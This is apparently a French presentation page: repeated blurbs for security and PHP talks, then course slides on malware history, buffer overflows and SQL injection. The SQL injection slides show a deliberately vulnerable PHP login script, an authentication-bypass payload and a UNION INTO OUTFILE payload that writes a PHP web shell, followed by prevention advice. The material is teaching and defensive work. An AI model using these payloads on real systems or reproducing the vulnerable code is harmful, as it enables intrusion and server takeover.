Qui a laissé son mot de passe dans le codeDamien Seguy
Qui, de nos jours, laisse encore son mot de passe dans le code? Pour quelles raisons? Et comment éviter de voir ses secrets atterrir en production, ou dans un dépot public? en utilisant Exakat et git-secrets.
Symfony2 - Un Framework PHP 5 PerformantHugo Hamon
L’arrivée de PHP 5.3 en milieu d’année 2009 a bouleversé la manière de développer des applications web. En effet, cette nouvelle version a apporté de nouveaux outils au langage tels que les espaces de nommage qui favorisent la réutilisabilité du code lorsqu’ils sont employés à bon escient. Les nouveaux frameworks de développement rapide ont aussi suivi le mouvement et reposent sur la base de PHP 5.3. C’est le cas de Symfony2 dont la version stable est prévue prochainement.
Cette présentation offre un tour d’horizon de la nouvelle architecture du framework qui s’articule autour de “bundles”, de librairies externes et de nombreux composants indépendants tels que le conteneur d’injection de dépendances. Nous dresserons un panorama des principales fonctionnalités offertes par le framework telles que la couche d’ORM Doctrine 2, le moteur de templating Twig et la gestion des formulaires. Nous nous intéresserons également à la gestion du cache HTTP, à la couche de sécurité ainsi qu’aux outils de débogage destinés à améliorer la productivité du développeur et la maintenance de l’application.
Qui a laissé son mot de passe dans le codeDamien Seguy
Qui, de nos jours, laisse encore son mot de passe dans le code? Pour quelles raisons? Et comment éviter de voir ses secrets atterrir en production, ou dans un dépot public? en utilisant Exakat et git-secrets.
Symfony2 - Un Framework PHP 5 PerformantHugo Hamon
L’arrivée de PHP 5.3 en milieu d’année 2009 a bouleversé la manière de développer des applications web. En effet, cette nouvelle version a apporté de nouveaux outils au langage tels que les espaces de nommage qui favorisent la réutilisabilité du code lorsqu’ils sont employés à bon escient. Les nouveaux frameworks de développement rapide ont aussi suivi le mouvement et reposent sur la base de PHP 5.3. C’est le cas de Symfony2 dont la version stable est prévue prochainement.
Cette présentation offre un tour d’horizon de la nouvelle architecture du framework qui s’articule autour de “bundles”, de librairies externes et de nombreux composants indépendants tels que le conteneur d’injection de dépendances. Nous dresserons un panorama des principales fonctionnalités offertes par le framework telles que la couche d’ORM Doctrine 2, le moteur de templating Twig et la gestion des formulaires. Nous nous intéresserons également à la gestion du cache HTTP, à la couche de sécurité ainsi qu’aux outils de débogage destinés à améliorer la productivité du développeur et la maintenance de l’application.
Succession “Losers”: What Happens to Executives Passed Over for the CEO Job?
By David F. Larcker, Stephen A. Miles, and Brian Tayan
Stanford Closer Look Series
Overview:
Shareholders pay considerable attention to the choice of executive selected as the new CEO whenever a change in leadership takes place. However, without an inside look at the leading candidates to assume the CEO role, it is difficult for shareholders to tell whether the board has made the correct choice. In this Closer Look, we examine CEO succession events among the largest 100 companies over a ten-year period to determine what happens to the executives who were not selected (i.e., the “succession losers”) and how they perform relative to those who were selected (the “succession winners”).
We ask:
• Are the executives selected for the CEO role really better than those passed over?
• What are the implications for understanding the labor market for executive talent?
• Are differences in performance due to operating conditions or quality of available talent?
• Are boards better at identifying CEO talent than other research generally suggests?
La sécurité des bases de données est une condition critique à leur exploitation. Effacement, falsification ou simplement divulgation sont les menaces les plus sérieuses qui rôdent et attendent le premier faux-pas des administrateurs. Il est primordial de bien connaître les aspects sécurité de MySQL, et de faire des choix éclairés parmi les protections natives.Durant cette présentation nous examinerons le système de droits, les directives de configurations, les techniques d'intrusion et les vulnérabilités sur le Web : pour chaque menace, nous verrons quels sont les défenses disponibles pour se protéger efficacement.
Introduction à la sécurité des applications web avec php [fr]Wixiweb
Présentation de la conférence Sécurité web / PHP aux #NWXTECH2 par Maxime Mauchaussée / Wixiweb.
Découvrez les principes de bases de la sécurité PHP : les injections SQL, les failles XSS et CSRF et voyez comment vous en protéger simplement.
Damien Seguy, co-auteur du livre "Sécurité PHP" (éditions Eyrolles) et membre du PHPGroup. L’atelier consiste à examiner une vraie application PHP présentée puis de tenter toutes les manœuvres retorses possibles pour la mettre en péril.
Procédures CLR pour SQL Server : avantages et inconvénientsDenis Voituron
Depuis toujours nous souhaitons développer au mieux des procédures stockées dans SQL Server, afin de clarifier ou d’optimiser nos développements.
Depuis 2005, les procédures stockées et les triggers peuvent être développés en .NET, grâce à votre langage favoris : C#, VB.NET, etc. Nous pouvons ainsi tirer parti de toute la puissance de ce Framework : fonctions mathématiques, cryptages, gestion de chaine de caractères, manipulation des dates, etc.
Lors de cette session, nous expliquerons comment créer des procédures, des triggers et des fonctions d’agrégations dans ce mode CLR. Nous passerons en revue les trucs et astuces utiles pour optimiser nos requêtes. Nous verrons quels sont les avantages de concevoir des procédures SQL en .NET ; mais également quels en sont les inconvénients. Finalement, nous verrons comment déployer facilement les bibliothèques .NET créées, dans SQL Server : quels outils utiliser.
Intervention sur la cybersécurité en BTS SIO, pour les SISR (admin sys et réseau) et les SLAM (développeurs).
Ce document commence par un questionnement sur les meilleurs moyens de sécuriser un SI. Ensuite, une petite partie de sensibilisation explique les risques que les étudiants ne devront pas prendre en entreprise (quels que soient leurs postes). L'intervention poursuit avec une présentation de la cybersécurité, des métiers et des activités qui y sont liés ainsi que des besoins en entreprise. Enfin, ces slides permettront d'identifier des points sensibles de la cybersécurité dans leurs activités respectives (en tant que développeur ou en tant qu'administrateur).
Le tout est entrecoupé de petites parties pratiques qui permettent de démontrer les faits et qui renforceront les compétences techniques des étudiants.
Présentation en détail de l'analyse statique : ses fondements en PHP, ses mécanismes internes, les processus d'augmentation des connaissances et de personnalisation des analyses, ainsi que les résultats d'audits.
Succession “Losers”: What Happens to Executives Passed Over for the CEO Job?
By David F. Larcker, Stephen A. Miles, and Brian Tayan
Stanford Closer Look Series
Overview:
Shareholders pay considerable attention to the choice of executive selected as the new CEO whenever a change in leadership takes place. However, without an inside look at the leading candidates to assume the CEO role, it is difficult for shareholders to tell whether the board has made the correct choice. In this Closer Look, we examine CEO succession events among the largest 100 companies over a ten-year period to determine what happens to the executives who were not selected (i.e., the “succession losers”) and how they perform relative to those who were selected (the “succession winners”).
We ask:
• Are the executives selected for the CEO role really better than those passed over?
• What are the implications for understanding the labor market for executive talent?
• Are differences in performance due to operating conditions or quality of available talent?
• Are boards better at identifying CEO talent than other research generally suggests?
La sécurité des bases de données est une condition critique à leur exploitation. Effacement, falsification ou simplement divulgation sont les menaces les plus sérieuses qui rôdent et attendent le premier faux-pas des administrateurs. Il est primordial de bien connaître les aspects sécurité de MySQL, et de faire des choix éclairés parmi les protections natives.Durant cette présentation nous examinerons le système de droits, les directives de configurations, les techniques d'intrusion et les vulnérabilités sur le Web : pour chaque menace, nous verrons quels sont les défenses disponibles pour se protéger efficacement.
Introduction à la sécurité des applications web avec php [fr]Wixiweb
Présentation de la conférence Sécurité web / PHP aux #NWXTECH2 par Maxime Mauchaussée / Wixiweb.
Découvrez les principes de bases de la sécurité PHP : les injections SQL, les failles XSS et CSRF et voyez comment vous en protéger simplement.
Damien Seguy, co-auteur du livre "Sécurité PHP" (éditions Eyrolles) et membre du PHPGroup. L’atelier consiste à examiner une vraie application PHP présentée puis de tenter toutes les manœuvres retorses possibles pour la mettre en péril.
Procédures CLR pour SQL Server : avantages et inconvénientsDenis Voituron
Depuis toujours nous souhaitons développer au mieux des procédures stockées dans SQL Server, afin de clarifier ou d’optimiser nos développements.
Depuis 2005, les procédures stockées et les triggers peuvent être développés en .NET, grâce à votre langage favoris : C#, VB.NET, etc. Nous pouvons ainsi tirer parti de toute la puissance de ce Framework : fonctions mathématiques, cryptages, gestion de chaine de caractères, manipulation des dates, etc.
Lors de cette session, nous expliquerons comment créer des procédures, des triggers et des fonctions d’agrégations dans ce mode CLR. Nous passerons en revue les trucs et astuces utiles pour optimiser nos requêtes. Nous verrons quels sont les avantages de concevoir des procédures SQL en .NET ; mais également quels en sont les inconvénients. Finalement, nous verrons comment déployer facilement les bibliothèques .NET créées, dans SQL Server : quels outils utiliser.
Intervention sur la cybersécurité en BTS SIO, pour les SISR (admin sys et réseau) et les SLAM (développeurs).
Ce document commence par un questionnement sur les meilleurs moyens de sécuriser un SI. Ensuite, une petite partie de sensibilisation explique les risques que les étudiants ne devront pas prendre en entreprise (quels que soient leurs postes). L'intervention poursuit avec une présentation de la cybersécurité, des métiers et des activités qui y sont liés ainsi que des besoins en entreprise. Enfin, ces slides permettront d'identifier des points sensibles de la cybersécurité dans leurs activités respectives (en tant que développeur ou en tant qu'administrateur).
Le tout est entrecoupé de petites parties pratiques qui permettent de démontrer les faits et qui renforceront les compétences techniques des étudiants.
Présentation en détail de l'analyse statique : ses fondements en PHP, ses mécanismes internes, les processus d'augmentation des connaissances et de personnalisation des analyses, ainsi que les résultats d'audits.
5. Quelques célébrités
Core War (1960)
Brain (1986)
Melissa (1999)
I Love You (2000)
Nimda (2001)
Blaster (2003)
Zeus (2007)
Conficker (2008)
Stuxnet (2010)
Flame (2012)
17. Stack based buffer overflow
Prévention
char* strncpy (char* dest, char* src, size-t num);
DEP
ASLR
18. SQL Injection
Définition
Vulnérabilité due à la mauvaise gestion du contenu
de variables utilisées pour construire une requête
SQL.
Mauvaise gestion des caractères spéciaux
Mauvais typage des variables
20. <?php
$mysqli = mysqli_connect("127.0.0.1", "xxxx_user", "xxxx",
"xxxx");
if (mysqli_connect_errno($mysqli)) {
echo "Failed to connect to MySQL: " .
mysqli_connect_error();
}
$login = $_GET["login"];
$password = $_GET["password"];
$res = mysqli_query($mysqli,
"SELECT * from users where login='$login' and
password='$password';");
if ($res)
if ($res->num_rows) {
$row = mysqli_fetch_assoc($res);
echo "Hello {$row['name']}, your user ID is {$row
['login']}.<p>";
} else {
echo "Unknown user or bad password, login denied.";
}
?>;
SQL Injection
Exemple de code vulnérable
21. SQL Injection
La requête vulnérable
select * from users where
login='$login' and
password='$password';
22. SQL Injection
Ce qui facilite l'exploitation
$row = mysqli_fetch_assoc($res);
echo "Hello {$row['name']}, your user ID is
{$row['login']}.<p>";
23. SQL Injection
Test de vulnérabilité
select * from users where login='' or 1=1;
-- and password='MDP';
Paramètre Valeur
$login ' or 1=1; --
$password MDP
24. SQL Injection
Ecriture d'un fichier sur le disque
select * from users where login='' UNION
SELECT '<? system($_GET['c']); ?>', '',
'', '', '' INTO OUTFILE 'd:
xampphtdocsaesrshell.php' --
and password='MDP';
Paramètre Valeur
$login ' UNION SELECT '<? system($_GET
['c']); ?>', '', '', '', '' INTO
OUTFILE 'd:
xampphtdocsaesrshell.php' --
$password MDP
25. SQL Injection
Prévention
Escaping
en PHP: mysqli_real_escape_string ()
Prepared statements
en PHP: mysqli_prepare ()
Contrôle des paramètres passés à la requête
Gestion des droits dans la base de données
WAF (Web Application Firewall)